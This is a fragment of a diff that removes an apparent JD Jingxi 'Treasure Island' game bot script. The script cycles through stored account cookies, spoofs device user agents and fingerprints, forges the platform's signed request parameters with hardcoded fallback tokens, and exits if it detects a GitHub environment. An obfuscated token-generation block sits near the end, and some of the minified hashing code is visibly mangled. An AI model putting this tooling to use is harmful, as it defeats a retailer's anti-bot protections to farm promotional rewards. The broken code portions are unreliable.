i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t -}); -const $ = new Env("京喜财富岛热气球"); -const JD_API_HOST = "https://m.jingxi.com/"; -const notify = $.isNode() ? require('./sendNotify') : ''; -const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; -$.showLog = $.getdata("cfd_showLog") ? $.getdata("cfd_showLog") === "true" : false; -$.notifyTime = $.getdata("cfd_notifyTime"); -$.result = []; -$.shareCodes = []; -let cookiesArr = [], cookie = '', token = '', UA, UAInfo = {}; -$.appId = 10032; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; - if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - let count = 0 - $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; - await requestAlgo(); - await $.wait(1000) - console.log('\n') - do { - count++ - console.log(`============开始第${count}次挂机=============`) - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.index = i + 1; - $.nickName = ''; - $.isLogin = true; - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - $.info = {} - if (count === 1) { - UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` - UAInfo[$.UserName] = UA - } else { - UA = UAInfo[$.UserName] - } - // token = await getJxToken() - await cfd(); - let time = process.env.CFD_LOOP_SLEEPTIME ? (process.env.CFD_LOOP_SLEEPTIME * 1 > 1000 ? process.env.CFD_LOOP_SLEEPTIME : process.env.CFD_LOOP_SLEEPTIME * 1000) : 5000 - await $.wait(time) - } - } - } while (count < 25) -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()); - -async function cfd() { - try { - await queryshell() - } catch (e) { - $.logErr(e) - } -} - -// 卖贝壳 -async function querystorageroom() { - return new Promise(async (resolve) => { - $.get(taskUrl(`story/querystorageroom`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} querystorageroom API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - console.log(`\n卖贝壳`) - let bags = [] - for (let key of Object.keys(data.Data.Office)) { - let vo = data.Data.Office[key] - bags.push(vo.dwType) - bags.push(vo.dwCount) - } - if (bags.length !== 0) { - let strTypeCnt = '' - for (let j = 0; j < bags.length; j++) { - if (j % 2 === 0) { - strTypeCnt += `${bags[j]}:` - } else { - strTypeCnt += `${bags[j]}|` - } - } - await $.wait(3000) - await sellgoods(`strTypeCnt=${strTypeCnt}&dwSceneId=1`) - } else { - console.log(`背包是空的,快去捡贝壳吧\n`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function sellgoods(body) { - return new Promise((resolve) => { - $.get(taskUrl(`story/sellgoods`, body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} sellgoods API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - if (data.iRet === 0) { - console.log(`贝壳出售成功:获得${data.Data.ddwCoin}金币 ${data.Data.ddwMoney}财富\n`) - } else { - console.log(`贝壳出售失败:${data.sErrMsg}\n`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -// 捡贝壳 -async function queryshell() { - return new Promise(async (resolve) => { - $.get(taskUrl(`story/queryshell`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} queryshell API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - $.canpick = true; - for (let key of Object.keys(data.Data.NormShell)) { - let vo = data.Data.NormShell[key] - for (let j = 0; j < vo.dwNum && $.canpick; j++) { - await pickshell(`dwType=${vo.dwType}`) - await $.wait(3000) - } - if (!$.canpick) break - } - console.log('') - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -async function pickshell(body) { - return new Promise(async (resolve) => { - $.get(taskUrl(`story/pickshell`, body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} pickshell API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - let dwName - switch (data.Data.strFirstDesc) { - case '亲爱的岛主~♥七夕快乐鸭♥': - dwName = '爱心珍珠' - break - case '捡到珍珠了,看起来很贵的样子': - dwName = '小珍珠' - break - case '捡到小海螺了,做成项链一定很漂亮': - dwName = '小海螺' - break - case '把我放在耳边,就能听到大海的声音了~': - dwName = '大海螺' - break - case '只要诚心祈祷,愿望就会实现哦~': - dwName = '海星' - break - case '阳光下的小贝壳会像宝石一样,散发耀眼的光芒': - dwName = '小贝壳' - break - case '啊~我可不想被清蒸加蒜蓉': - dwName = '扇贝' - break - default: - break - } - if (data.iRet === 0) { - console.log(`捡贝壳成功:捡到了${dwName}`) - } else if (data.iRet === 5403 || data.sErrMsg === '这种小贝壳背包放不下啦,先去卖掉一些吧~') { - console.log(`捡贝壳失败:${data.sErrMsg}`) - await $.wait(3000) - await querystorageroom() - } else { - $.canpick = false; - console.log(`捡贝壳失败:${data.sErrMsg}`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -function taskUrl(function_path, body = '', dwEnv = 7) { - let url = `${JD_API_HOST}jxbfd/${function_path}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=${dwEnv}&_cfd_t=${Date.now()}&ptag=7155.9.47${body ? `&${body}` : ''}`; - url += `&_stk=${getStk(url)}`; - url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; - return { - url, - headers: { - "Host": "m.jingxi.com", - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "User-Agent": UA, - "Accept-Language": "zh-CN,zh-Hans;q=0.9", - "Referer": "https://st.jingxi.com/", - "Cookie": cookie - } - }; -} -function getStk(url) { - let arr = url.split('&').map(x => x.replace(/.*\?/, "").replace(/=.*/, "")) - return encodeURIComponent(arr.filter(x => x).sort().join(',')) -} -function randomString(e) { - e = e || 32; - let t = "0123456789abcdef", a = t.length, n = ""; - for (let i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -/* -修改时间戳转换函数,京喜工厂原版修改 - */ -Date.prototype.Format = function (fmt) { - var e, - n = this, d = fmt, l = { - "M+": n.getMonth() + 1, - "d+": n.getDate(), - "D+": n.getDate(), - "h+": n.getHours(), - "H+": n.getHours(), - "m+": n.getMinutes(), - "s+": n.getSeconds(), - "w+": n.getDay(), - "q+": Math.floor((n.getMonth() + 3) / 3), - "S+": n.getMilliseconds() - }; - /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); - for (var k in l) { - if (new RegExp("(".concat(k, ")")).test(d)) { - var t, a = "S+" === k ? "000" : "00"; - d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) - } - } - return d; -} - -async function requestAlgo() { - $.fingerprint = await generateFp(); - const options = { - "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, - "headers": { - 'Authority': 'cactus.jd.com', - 'Pragma': 'no-cache', - 'Cache-Control': 'no-cache', - 'Accept': 'application/json', - 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', - 'Content-Type': 'application/json', - 'Origin': 'https://st.jingxi.com', - 'Sec-Fetch-Site': 'cross-site', - 'Sec-Fetch-Mode': 'cors', - 'Sec-Fetch-Dest': 'empty', - 'Referer': 'https://st.jingxi.com/', - 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' - }, - 'body': JSON.stringify({ - "version": "1.0", - "fp": $.fingerprint, - "appId": $.appId.toString(), - "timestamp": Date.now(), - "platform": "web", - "expandParams": "" - }) - } - new Promise(async resolve => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`request_algo 签名参数API请求失败,请检查网路重试`) - } else { - if (data) { - // console.log(data); - data = JSON.parse(data); - if (data['status'] === 200) { - $.token = data.data.result.tk; - let enCryptMethodJDString = data.data.result.algo; - if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); - console.log(`获取签名参数成功!`) - console.log(`fp: ${$.fingerprint}`) - console.log(`token: ${$.token}`) - console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) - } else { - console.log(`fp: ${$.fingerprint}`) - console.log('request_algo 签名参数API请求失败:') - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function decrypt(time, stk, type, url) { - stk = stk || (url ? getUrlData(url, '_stk') : '') - if (stk) { - const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); - let hash1 = ''; - if ($.fingerprint && $.token && $.enCryptMethodJD) { - hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); - } else { - const random = '5gkjB6SpmC9s'; - $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; - $.fingerprint = 5287160221454703; - const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; - hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); - } - let st = ''; - stk.split(',').map((item, index) => { - st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; - }) - const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); - // console.log(`\nst:${st}`) - // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) - return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) - } else { - return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' - } -} - -/** - * 获取url参数值 - * @param url - * @param name - * @returns {string} - */ -function getUrlData(url, name) { - if (typeof URL !== "undefined") { - let urls = new URL(url); - let data = urls.searchParams.get(name); - return data ? data : ''; - } else { - const query = url.match(/\?.*/)[0].substring(1) - const vars = query.split('&') - for (let i = 0; i < vars.length; i++) { - const pair = vars[i].split('=') - if (pair[0] === name) { - // return pair[1]; - return vars[i].substr(vars[i].indexOf('=') + 1); - } - } - return '' - } -} -/** - * 模拟生成 fingerprint - * @returns {string} - */ -function generateFp() { - let e = "0123456789"; - let a = 13; - let i = ''; - for (; a--; ) - i += e[Math.random() * e.length | 0]; - return (i + Date.now()).slice(0,16) -} -var _0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var _0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let _0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new Date())[_0x5108('7','U*Pv')]();if(!cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; -!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_cfd_mooncake.js 